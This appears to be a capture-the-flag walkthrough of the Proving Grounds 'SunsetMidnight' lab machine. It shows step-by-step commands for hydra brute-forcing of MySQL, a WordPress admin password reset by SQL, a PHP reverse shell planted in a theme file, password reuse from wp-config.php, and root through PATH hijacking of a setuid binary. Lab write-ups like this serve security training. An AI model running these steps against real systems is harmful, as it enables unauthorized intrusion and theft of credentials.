Proving Grounds: SunsetMidnight Walkthrough

Machine Stats

Name
SunsetMidnight

IP Address
192.168.126.77

OS
Linux

Rating
Intermediate

Enumeration

I started by running my standard nmap scan..

?  ~ nmap -sC -sV -oA sunsetmidnight 192.168.126.88

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 9c:fe:0b:8b:8d:15:e7:72:7e:3c:23:e5:86:55:51:2d (RSA)
|   256 fe:eb:ef:5d:40:e7:06:67:9b:63:67:f8:d9:7e:d3:e2 (ECDSA)
|_  256 35:83:68:2c:33:8b:b4:6c:24:21:20:0d:52:ed:cd:16 (ED25519)

80/tcp   open  http    Apache httpd 2.4.38 ((Debian))
| http-robots.txt: 1 disallowed entry 
|_/wp-admin/
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Did not follow redirect to http://sunset-midnight/

3306/tcp open  mysql   MySQL 5.5.5-10.3.22-MariaDB-0+deb10u1
| mysql-info: 
|   Protocol: 10
|   Version: 5.5.5-10.3.22-MariaDB-0+deb10u1
|   Thread ID: 17
|   Capabilities flags: 63486
|   Some Capabilities: SupportsCompression, Support41Auth, Speaks41ProtocolOld, SupportsTransactions, FoundRows, IgnoreSpaceBeforeParenthesis, IgnoreSigpipes, Speaks41ProtocolNew, SupportsLoadDataLocal, ConnectWithDatabase, InteractiveClient, ODBCClient, DontAllowDatabaseTableColumn, LongColumnFlag, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: K6j5h-FWclt"G#tD4wz"
|_  Auth Plugin Name: mysql_native_password
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

I always run a full TCP/UDP port scan as well, which produced no other results.

Seeing “Did not follow redirect to http://sunset-midnight/” in the results, I added sunset-midnight to my local hosts file (/etc/hosts)

Visiting the website at port 80 revealed a WordPress site. The site’s robots.txt entry showed nothing of interest. I searched the site’s source code to look for any additional domains that might be in play. Then, I decided to poke at it with wpscan.

?  ~ wpscan --url http://sunset-midnight -e
[+] Headers
 | Interesting Entry: Server: Apache/2.4.38 (Debian)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] robots.txt found: http://sunset-midnight/robots.txt
 | Interesting Entries:
 |  - /wp-admin/
 |  - /wp-admin/admin-ajax.php

[+] XML-RPC seems to be enabled: http://sunset-midnight/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[i] User(s) Identified:

[+] admin
 | Found By: Author Posts - Author Pattern (Passive Detection)

I briefly considered using XMLRPC to attempt bruteforcing the admin account, but decided to turn my attention to mysql, since the port came up as open and not filtered or closed.

After sending a quick telnet command…

telnet sunset-midnight 3306

I verified it was indeed open and able to be connected to. I then setup hydra to attempt brute forcing the mysql root user. I specified the port number because I’m a dork.

hydra -l root -P /usr/share/wordlists/rockyou.txt mysql://sunset-midnight:3306 

hydra found a hit! (redacted for spoiler purposes)

[3306][mysql] host: sunset-midnight   login: root   password: ******
1 of 1 target successfully completed, 1 valid password found

I tried logging in and was successful with the credentials found.

mysql -h sunset-midnight -u root -p

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| wordpress_db       |

Looking in the wp_users table in side wordpress_db I found the user named “admin” that wp-scan returned earlier.

|  1 | admin      | ********************************** | admin         | example@example.com | http://sunset-midnight | 2020-07-16 19:10:47 |                     |           0 | admin        |

I decided to update the admin’s password in place with an update query to get access to the site’s backend.

UPDATE wp_users SET user_pass = MD5('test') WHERE wp_users.user_login = "admin";
Query OK, 1 row affected (0.051 sec)

Low Privilege Shell

Logging into the WordPress site as admin:test worked! By putting the contents of pentestmonkey’s PHP reverse shell (making sure to modify the variables for port and IP) inside the theme files on the site, (which can be done at /wp-admin > Themes > Theme Editor ) it’s possible to spawn a reverse shell when you load a specific page.

My method, which would be disruptive on a live site, is to paste the code inside header.php inside an inactive theme’s header.php file.

Start a listener…

nc -nlvp 1337

Switch the site to use the theme you’ve modified, load any page, and the reverse shell will attempt to call home.

Since I love socat, I use the initial connection to set that up.

When I looked in the home directory, I noticed a user named jose. I attempted to read files in their directory. www-data was able to.

www-data@midnight:/$ cat /home/jose/local.txt
******************************

We now have the user flag.

User Account

Now, I began searching the box for a means of moving to a user’s account. Because I already had mysql access, it took me a while to remember that since this is a WordPress site, I should look at the wp-config.php file for database credentials.

cat /var/www/html/wp-config.php
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress_db' );

/** MySQL database username */
define( 'DB_USER', 'jose' );

/** MySQL database password */
define( 'DB_PASSWORD', '******************************' );

Because the database user and the name of the user we were looking to get into was the same, I suspected possible password re-use. I used su to change to jose, and the suspicion was correct.

Privilege Escalation & Root Flag

Once logged in as jose, I went to /tmp, and grabbed linpeas and lse off of my server. Linpeas didn’t return anything of immediate value, but lse with level set to 1 found…

[!] fst020 Uncommon setuid binaries........................................ yes!
---
/usr/bin/status

Examining the binary with the strings command, I saw a reference to service. Because the reference was relative and did not reference the specific location, it opens the door for me to create a fake file and modify my path so it runs from there before touching the real binary. Because I only wanted to get the root flag, I decided to just open a new local shell rather than setup a reverse shell.

cd /tmp
touch service
#echo "/bin/sh" > service
chmod +x ./service
PATH=/tmp:$PATH

Calling /usr/bin/status now results in following your path to locate the service binary, where /tmp has been placed before the other locations, meaning it will be processed first.

#
whoami
root

cat /root/proof.txt
******************************